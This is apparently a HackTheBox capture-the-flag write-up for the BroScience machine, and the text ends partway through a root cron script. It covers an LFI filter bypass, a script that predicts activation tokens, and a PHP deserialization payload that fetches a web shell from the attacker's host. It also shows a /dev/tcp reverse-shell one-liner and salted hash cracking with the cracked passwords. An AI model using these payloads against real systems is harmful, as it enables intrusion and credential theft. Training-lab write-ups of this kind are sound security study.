HackTheBox Writeup BroScience
BroScience is a Medium Difficulty Linux machine that features a web application vulnerable to LFI
. Through the ability to read arbitrary files on the target, the attacker gains an insight into how account activation codes are generated, and is thus able to create a set of potentially valid tokens to activate a newly created account. Once logged in, further enumeration reveals that the site's theme-picker functionality is vulnerable to PHP deserialisation using a custom gadget chain, allowing an attacker to copy files on the target system, eventually leading to remote code execution. Once a foothold has been established, a handful of hashes are recovered from a database, which once cracked prove to contain a valid SSH
password for the machine's main user bill
. Finally, the privilege escalation is based on a cronjob executing a Bash script that is vulnerable to command injection through a certificate generated by openssl
, forfeiting root
access to the attacker.
Recon
Nmap
Always run nmap twice
- From people who have taken OSCP
1
2
3
4
5
6
7
┌──(root㉿kali)-[~/BroScience]
└─# nmap -p- 10.10.11.195 -Pn -T4 -vv
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Main scan result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# Nmap 7.93 scan initiated Sun Apr 9 08:20:04 2023 as: nmap -sVC -p- -T4 -Pn -vv -oA broscience 10.10.11.195
Nmap scan report for 10.10.11.195
Host is up, received user-set (0.082s latency).
Scanned at 2023-04-09 08:20:05 EDT for 65s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB5dEat1MGh3CDDnkl4tdWQcTpdWZYHZj5/Orv3PDjSiQ4dg1i35kknwiZrXLiMsUu/4TigP9Kc3h4M1CS7E3/GprpWxuGmipEucoQuNEtaM0sUa8xobtFxOVF46kS0++ozTd4+zbSLsu73SlLcSuSFalhGnHteHj6/ksSeX642103SMqkkmEu/cbgofkoqQOCYk3Qa42bZq5bjS/auGAlPoAxTjjVtpHnXOKOU7M6gkewD91FB3GAMUdwqR/PJcA5xqGFZm2St9ecSbewCur6pLN5YKnNhvdID4ijWI22gu5pLxHL9XjORMbSUkJbB79VoYJZaNkdOgt+HXR67s9DWI47D6/+pO0dTfQgMFgOCxYheWMDQ2FuyHyGX1CZpMVLAo3sjOvxAqk7eUGutsyBAlYCD4lhSFs6RhSBynahHQah7+Lv5LKRriZe/fQIgrJrQj+tR4Uhz89eWGrXK9bjN22wy7tVkMG/w5dOwo7S3Wi0aTZfd/17D0z7wSdiAiE=
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCgM9UKdxFmXRJESXdlb+BSl+K1F0YCkOjSa8l+tgD6Y3mslSfrawZkdfq8NKLZlmOe8uf1ykgXjLWVDQ9NrJBk=
| 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMwR+IfRojCwiMuM3tZvdD5JCD2MRVum9frUha60bkN
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-07-14T19:48:36
| Not valid after: 2023-07-14T19:48:36
| MD5: 5328ddd62f3429d11d26ae8a68d86e0c
| SHA-1: 20568d0d9e4109cde5a22021fe3f349c40d8d75b
...
|_http-title: BroScience : Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 9 08:21:10 2023 -- 1 IP address (1 host up) scanned in 66.56 seconds
Quick copy file content from cli
1 2 ┌──(root㉿kali)-[~/BroScience] └─# cat broscience.nmap| xclip -selection c
Add to hosts
1
echo '10.10.11.195 broscience.htb' >> /etc/hosts
80 - BroScience : Home
Info
Dir
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
┌──(root㉿kali)-[~/BroScience]
└─# feroxbuster -u broscience.htb --burp -e -A -x php
301 GET 9l 28w 319c https://broscience.htb/images => https://broscience.htb/images/
301 GET 9l 28w 321c https://broscience.htb/includes => https://broscience.htb/includes/
301 GET 9l 28w 319c https://broscience.htb/styles => https://broscience.htb/styles/
302 GET 0l 0w 0c https://broscience.htb/logout.php => https://broscience.htb/index.php
200 GET 42l 97w 1936c https://broscience.htb/login.php
302 GET 1l 3w 13c https://broscience.htb/comment.php => https://broscience.htb/login.php
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/images (Apache)
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/includes (Apache)
200 GET 29l 70w 1309c https://broscience.htb/user.php
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/styles (Apache)
200 GET 3l 7w 44c https://broscience.htb/styles/light.css
200 GET 45l 104w 2161c https://broscience.htb/register.php
301 GET 9l 28w 323c https://broscience.htb/javascript => https://broscience.htb/javascript/
200 GET 5l 14w 369c https://broscience.htb/includes/header.php
200 GET 28l 71w 1322c https://broscience.htb/exercise.php
200 GET 3270l 20216w 1847611c https://broscience.htb/images/deadlift.png
200 GET 0l 0w 0c https://broscience.htb/includes/db_connect.php
200 GET 3l 7w 41c https://broscience.htb/styles/dark.css
200 GET 0l 0w 0c https://broscience.htb/includes/utils.php
200 GET 161l 1002w 83700c https://broscience.htb/images/seated_rows.png
200 GET 1l 4w 39c https://broscience.htb/includes/img.php
200 GET 147l 510w 9304c https://broscience.htb/index.php
200 GET 147l 510w 9304c https://broscience.htb/
301 GET 9l 28w 319c https://broscience.htb/manual => https://broscience.htb/manual/
500 GET 2l 4w 65c https://broscience.htb/includes/navbar.php
200 GET 904l 5421w 549177c https://broscience.htb/images/tricep_extensions.jpeg
403 GET 9l 28w 280c https://broscience.htb/.php
200 GET 383l 2045w 205698c https://broscience.htb/images/barbell_squats.jpeg
200 GET 220l 1542w 123552c https://broscience.htb/images/reverse_butterfly.jpeg
200 GET 122l 678w 56054c https://broscience.htb/images/bench.png
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/images (Apache)
301 GET 9l 28w 322c https://broscience.htb/manual/en => https://broscience.htb/manual/en/
301 GET 9l 28w 326c https://broscience.htb/manual/images => https://broscience.htb/manual/images/
301 GET 9l 28w 322c https://broscience.htb/manual/de => https://broscience.htb/manual/de/
301 GET 9l 28w 322c https://broscience.htb/manual/fr => https://broscience.htb/manual/fr/
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/style (Apache)
301 GET 9l 28w 325c https://broscience.htb/manual/style => https://broscience.htb/manual/style/
200 GET 2608l 13980w 1065974c https://broscience.htb/images/shoulder_press.jpeg
301 GET 9l 28w 322c https://broscience.htb/manual/es => https://broscience.htb/manual/es/
200 GET 1227l 7821w 677704c https://broscience.htb/manual/images/bal-man-w.png
301 GET 9l 28w 322c https://broscience.htb/manual/ru => https://broscience.htb/manual/ru/
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/style/css (Apache)
200 GET 27l 66w 481c https://broscience.htb/manual/style/build.properties
200 GET 299l 1691w 134287c https://broscience.htb/manual/images/build_a_mod_2.png
200 GET 29l 147w 1082c https://broscience.htb/manual/style/manualpage.dtd
200 GET 1193l 6976w 583650c https://broscience.htb/images/dumbell_curls.jpeg
200 GET 50l 355w 31098c https://broscience.htb/manual/images/custom_errordocs.png
200 GET 155l 390w 3065c https://broscience.htb/manual/style/css/manual-loose-100pc.css
200 GET 92l 345w 2844c https://broscience.htb/manual/style/modulesynopsis.dtd
301 GET 9l 28w 322c https://broscience.htb/manual/ja => https://broscience.htb/manual/ja/
200 GET 16l 74w 5983c https://broscience.htb/manual/images/ssl_intro_fig1.png
200 GET 23l 141w 885c https://broscience.htb/manual/style/css/manual-zip-100pc.css
200 GET 42l 190w 1425c https://broscience.htb/manual/style/sitemap.dtd
301 GET 9l 28w 322c https://broscience.htb/manual/tr => https://broscience.htb/manual/tr/
403 GET 9l 28w 280c https://broscience.htb/manual/.php
301 GET 9l 28w 327c https://broscience.htb/manual/en/misc => https://broscience.htb/manual/en/misc/
301 GET 9l 28w 322c https://broscience.htb/manual/ko => https://broscience.htb/manual/ko/
301 GET 9l 28w 322c https://broscience.htb/manual/da => https://broscience.htb/manual/da/
200 GET 24l 127w 907c https://broscience.htb/manual/style/lang.dtd
200 GET 1048l 2315w 19081c https://broscience.htb/manual/style/css/manual.css
200 GET 173l 1008w 81048c https://broscience.htb/manual/images/syntax_rewritecond.png
200 GET 717l 1598w 13200c https://broscience.htb/manual/style/css/manual-print.css
200 GET 105l 493w 29291c https://broscience.htb/manual/images/caching_fig1.gif
301 GET 9l 28w 327c https://broscience.htb/manual/de/misc => https://broscience.htb/manual/de/misc/
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/style/latex (Apache)
200 GET 24l 130w 925c https://broscience.htb/manual/style/version.ent
301 GET 9l 28w 327c https://broscience.htb/manual/fr/misc => https://broscience.htb/manual/fr/misc/
301 GET 9l 28w 327c https://broscience.htb/manual/es/misc => https://broscience.htb/manual/es/misc/
200 GET 121l 625w 3616c https://broscience.htb/manual/style/css/prettify.css
301 GET 9l 28w 327c https://broscience.htb/manual/ru/misc => https://broscience.htb/manual/ru/misc/
301 GET 9l 28w 326c https://broscience.htb/manual/en/faq => https://broscience.htb/manual/en/faq/
200 GET 80l 279w 2582c https://broscience.htb/manual/style/latex/atbeginend.sty
200 GET 1048l 6218w 583812c https://broscience.htb/manual/images/bal-man-b.png
301 GET 9l 28w 327c https://broscience.htb/manual/ja/misc => https://broscience.htb/manual/ja/misc/
301 GET 9l 28w 331c https://broscience.htb/manual/en/programs => https://broscience.htb/manual/en/programs/
301 GET 9l 28w 332c https://broscience.htb/manual/es/developer => https://broscience.htb/manual/es/developer/
301 GET 9l 28w 328c https://broscience.htb/manual/en/howto => https://broscience.htb/manual/en/howto/
200 GET 9l 44w 5193c https://broscience.htb/manual/images/ssl_intro_fig2.gif
200 GET 8l 24w 1868c https://broscience.htb/manual/images/mod_filter_new.png
301 GET 9l 28w 328c https://broscience.htb/manual/de/howto => https://broscience.htb/manual/de/howto/
301 GET 9l 28w 331c https://broscience.htb/manual/en/platform => https://broscience.htb/manual/en/platform/
301 GET 9l 28w 330c https://broscience.htb/manual/tr/rewrite => https://broscience.htb/manual/tr/rewrite/
301 GET 9l 28w 330c https://broscience.htb/manual/ja/rewrite => https://broscience.htb/manual/ja/rewrite/
301 GET 9l 28w 331c https://broscience.htb/manual/ko/platform => https://broscience.htb/manual/ko/platform/
301 GET 9l 28w 331c https://broscience.htb/manual/da/platform => https://broscience.htb/manual/da/platform/
301 GET 9l 28w 329c https://broscience.htb/manual/ko/vhosts => https://broscience.htb/manual/ko/vhosts/
301 GET 9l 28w 329c https://broscience.htb/manual/ja/vhosts => https://broscience.htb/manual/ja/vhosts/
301 GET 9l 28w 329c https://broscience.htb/manual/da/vhosts => https://broscience.htb/manual/da/vhosts/
Subdomains
1
2
┌──(root㉿kali)-[~/BroScience]
└─# ffuf -c -u https://broscience.htb -H "Host: FUZZ.broscience.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -k -fs 9304 -o subdomains.ffuf
/login.php
/register.php
Tried login, shows Account is not activated
/exercise.php
/exercise.php?id=1
Possible sql injection (Failed)
/includes/img.php
/includes/img.php?path=bench.png
Possible LFI
It have WAF, filtering char : /
Use ffuf to fuzz bypass method
1
ffuf -c -u "https://broscience.htb/includes/img.php?path=FUZZ" -k -fr "Attack detected" -fs 0 -x http://127.0.0.1:8080 -w /usr/share/payloadsallthethings/Directory\ Traversal/Intruder/dotdotpwn.txt
Double url encode successfully escaped WAF
Cyberchef:
Get users
1
GET /includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
1
2
3
4
5
┌──(root㉿kali)-[~/BroScience]
└─# cat passwd| grep sh$
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
/includes/
Directory Listing found
User Flag
Dump php files
Write script to download php files
lfi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
"""
Hack The Box: Broscience, File crawling and download via LFI
"""
import requests
import re
import urllib3
from pathlib import Path
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
LFI_URI = "https://broscience.htb/includes/img.php?path=..%252f"
def encode_path(path: str) -> str:
"""Double encode the path to avoid the filter"""
return path.replace("/", "%252f")
def get_content(file_path: str) -> bytes:
"""Get the file content"""
url = f"{LFI_URI}{encode_path(file_path)}"
r = requests.get(url, verify=False)
print(f"[*] Getting {url}")
return r.content
def download_file(file_path: Path):
"""Download the file"""
file_content = get_content(str(file_path))
root_path = Path(__file__).parent / "app"
full_path = root_path / file_path
if not full_path.parent.exists():
full_path.parent.mkdir(parents=True)
with open(full_path, "wb") as f:
f.write(file_content)
print(f"[+] Downloaded : {full_path}")
def main():
with open("/root/BroScience/dir.feroxbuster", "r") as f:
urls = f.read()
php_paths = re.findall(r"broscience.htb/(\S*\.php)", urls)
for path in set(php_paths):
download_file(Path(path))
if __name__ == "__main__":
main()
Browse the codes easily
includes/db_connect.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
includes/img.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
// Normalize path
$path = urldecode($path);
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>
register.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
...
- The email activation function isnt implemented yet
utils.php
1
2
3
4
5
6
7
8
9
10
11
...
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
...
Activate website user
Search srand()
on php manual
It generates activation codes based on time stamp
Register an account then copy timestamp
Date: Wed, 12 Apr 2023 15:57:33 GMT
- Google
online to unix timestamp
https://www.epochconverter.com/
change random seed to the timestamp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[/home/kali/broscience]
└─# php -a
Interactive shell
php > echo time();
1681314991
php > function generate_activation_code() {
php { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
php { srand(1681315053);
php { $activation_code = "";
php { for ($i = 0; $i < 32; $i++) {
php { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
php { }
php { return $activation_code;
php { }
php > echo generate_activation_code();
54aIbVLKGR7ZGXARNpuLBn3zO4woOe1q
Got activation failed ressonse
Write two scripts to generate activate codes
user_activator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python3
"""HTB : Broscience user activate script"""
import requests
import urllib3
import sys
from datetime import timezone
from datetime import datetime, timedelta
from subprocess import check_output
from concurrent.futures import ThreadPoolExecutor
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class User:
def __init__(self, username:str) -> None:
self.username = username
self.password = "QAQ"
self.activate_code = ""
self.session = requests.Session()
def generate_codes(self, register_time: datetime) -> list:
codes = []
gap_second = 10
# loop through register_time - gap_second to register_time + gap_second to find the correct time
for i in range(gap_second * -1, gap_second):
new_time = register_time + timedelta(seconds=i)
timestamp = int(new_time.timestamp())
result = check_output(["php", "activate.php", str(timestamp)]).decode("utf-8").strip()
codes.append(result)
print("[*] Saving generated codes to activate_codes.txt..")
with open("activate_codes.txt", "w") as f:
f.writelines(codes)
return codes
def register(self) -> datetime:
"""Register a new account"""
data = f"username={self.username}&email={self.username}@broscience.htb&password={self.password}&password-confirm={self.password}"
print(f"[*] Registering | {self.username} : {self.password}")
headers = {"Content-Type" : "application/x-www-form-urlencoded"}
proxies={"https": "http://127.0.0.1:8080"}
r = self.session.post("https://broscience.htb/register.php", headers=headers ,data=data, verify=False, proxies=proxies)
if "Account created" in r.text:
print(f"[+] Registered {self.username}")
date_str = r.headers.get("Date").strip()
date_obj = datetime.strptime(date_str, "%a, %d %b %Y %H:%M:%S %Z")
date_obj = date_obj.replace(tzinfo=timezone.utc)
return date_obj
elif "Username is already taken." in r.text:
print("[!] Username is already taken.")
else:
print("[!] Unknown error.")
def activate(self, code: str):
"""Send activate request"""
if self.activate_code:
return
print(f"[*] Activating {code}")
r = self.session.get(f"https://broscience.htb/activate.php?code={code}", verify=False)
if "Invalid activation code." not in r.text:
self.activate_code = code
print(f"[+] Activated : {code}")
if __name__ == "__main__":
# reg_time = datetime(2023, 4, 12, 17, 31, 10, tzinfo=timezone.utc)
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} <username>")
sys.exit(1)
username = sys.argv[1]
user = User(username)
reg_time = user.register()
print(f"{reg_time=}")
if not reg_time:
sys.exit(1)
activate_codes = user.generate_codes(reg_time)
with ThreadPoolExecutor(max_workers=10) as executor:
for code in activate_codes:
executor.submit(user.activate, code)
if user.activate_code:
break
result = f"\n[+] Done.\n[*] Creds | {user.username} : {user.password}\n[*] Activate code: {user.activate_code}"
print(result)
activate.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function generate_activation_code($timestamp) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($timestamp);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
echo generate_activation_code($argv[1]);
?>
Run the script
1
2
┌──(root㉿kali)-[/home/kali/broscience]
└─# python3 user_activator.py bravosec
Can also use ffuf to bruteforce activation code
1
ffuf -c -u "https://broscience.htb/activate.php?code=FUZZ" -w active_codes.txt -fr "Invalid"
Successfully login
IDOR
After login, found an IDOR in user’s profile function
https://broscience.htb/user.php?id=1
Static Application Security Testing
Always do SAST if have access to source code during PT
Use snyk
Found unsecure deserialization
Exploit PHP deserialization
User’s original cookie
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}
Craft payload
PHP mapping to python cheat table
php | python |
---|---|
$this->obj = "wew" | self.obj = "wew" |
payload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.12/xd.php";
public $imgPath = "./xd.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$payload = serialize(new AvatarInterface());
echo sprintf("%s\n%s", $payload, base64_encode($payload));
?>
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[/home/kali/broscience]
└─# mkdir www
┌──(root㉿kali)-[/home/kali/broscience]
└─# cd www
┌──(root㉿kali)-[/home/kali/broscience/www]
└─# echo '<?php echo system($_GET["cmd"]); ?>' > xd.php
┌──(root㉿kali)-[/home/kali/broscience/www]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Exploit
1
2
3
4
┌──(root㉿kali)-[/home/kali/broscience]
└─# php payload.php
O:15:"AvatarInterface":2:{s:3:"tmp";s:25:"http://10.10.14.12/xd.php";s:7:"imgPath";s:8:"./xd.php";}
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNToiaHR0cDovLzEwLjEwLjE0LjEyL3hkLnBocCI7czo3OiJpbWdQYXRoIjtzOjg6Ii4veGQucGhwIjt9
Get rev shell
1
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.12/443 0>&1'
CTRL + U
to quick encode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/BroScience]
└─# nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.195] 56148
bash: cannot set terminal process group (837): Inappropriate ioctl for device
bash: no job control in this shell
www-data@broscience:/var/www/html$ python3 -c "import pty;pty.spawn('/bin/bash')"
<tml$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@broscience:/var/www/html$ ^Z
zsh: suspended nc -lvnp 1111
┌──(root㉿kali)-[~/BroScience]
└─# stty raw -echo; fg
[1] + continued nc -lvnp 1111
www-data@broscience:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Get User : bill
Dump DB
1
2
3
4
www-data@broscience:/home/bill$ cat /etc/passwd|grep sh$
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
oh yeah postgres, use previous dumped creds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
www-data@broscience:/tmp$ psql -h localhost -d broscience -U dbuser
Password for user dbuser:
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
broscience=> \d+
WARNING: terminal is not fully functional
- (press RETURN) List of relations
Schema | Name | Type | Owner | Persistence | Size | De
scription
--------+------------------+----------+----------+-------------+------------+---
----------
public | comments | table | postgres | permanent | 16 kB |
public | comments_id_seq | sequence | postgres | permanent | 8192 bytes |
public | exercises | table | postgres | permanent | 16 kB |
public | exercises_id_seq | sequence | postgres | permanent | 8192 bytes |
public | users | table | postgres | permanent | 8192 bytes |
public | users_id_seq | sequence | postgres | permanent | 8192 bytes |
(6 rows)
broscience=> select * from users;
WARNING: terminal is not fully functional
- (press RETURN) id | username | password | email
| activation_code | is_activated | is_admin | dat
e_created
----+---------------+----------------------------------+------------------------
------+----------------------------------+--------------+----------+------------
-------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscienc
e.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07
02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb
| WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07
03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb
| zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01
04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb
| oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21
11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb
| 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13
10:34:36.226763-04
(5 rows)
Crack hashes
We know the password is salted by viewing the code of [[HackTheBox Writeup - BroScience#User Flag#Dump php files#register.php]]
Format: NaCl<PASSWORD>
1
2
3
4
5
6
7
8
9
10
11
12
broscience=> select username || ':' || password || ':NaCl' from users;
WARNING: terminal is not fully functional
- (press RETURN) ?column?
-----------------------------------------------------
administrator:15657792073e8a843d4f91fc403454e1:NaCl
bill:13edad4932da9dbb57d9cd15b66ed104:NaCl
michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
john:a7eed23a7be6fe0d765197b1027453fe:NaCl
dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl
(5 rows)
(END)broscience=>
Crack the hashes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~/BroScience]
└─# vi hashes
┌──(root㉿kali)-[~/BroScience]
└─# hashcat hashes /opt/rockyou.txt --user
...
The following 20 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
10 | md5($pass.$salt) | Raw Hash salted and/or iterated
20 | md5($salt.$pass) | Raw Hash salted and/or iterated
...
┌──(root㉿kali)-[~/BroScience]
└─# hashcat hashes /opt/rockyou.txt --user -m 20
...
Started: Sat Apr 15 09:14:44 2023
Stopped: Sat Apr 15 09:15:18 2023
┌──(root㉿kali)-[~/BroScience]
└─# hashcat hashes /opt/rockyou.txt --user -m 20 --show
bill:13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
SSH via bill
1
2
3
4
┌──(root㉿kali)-[~/BroScience]
└─# ssh bill@broscience.htb
bill@broscience:~$ cat user.txt
8a2ba6fc44112b4b550deb15c3d4c55c
Root Flag
Cron Job As ROOT
1
2
3
4
bill@broscience:~$ echo 'ssh-rsa AAAAB3NzaC1yc2... root@kali' >> ~/.ssh/authorized_keys
bill@broscience:~$ sudo -l
[sudo] password for bill:
Sorry, user bill may not run sudo on broscience.
Use Pspy
1
2
3
┌──(root㉿kali)-[/home/kali/broscience]
└─# scp /opt/tools/privesc/pspy64 bill@broscience.htb:/tmp/
pspy64
1
2
3
bill@broscience:~$ cd /tmp
bill@broscience:/tmp$ chmod +x pspy64
bill@broscience:/tmp$ ./pspy64
/opt/renew_cert.sh
1
bill@broscience:/tmp$ cat /opt/renew_cert.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
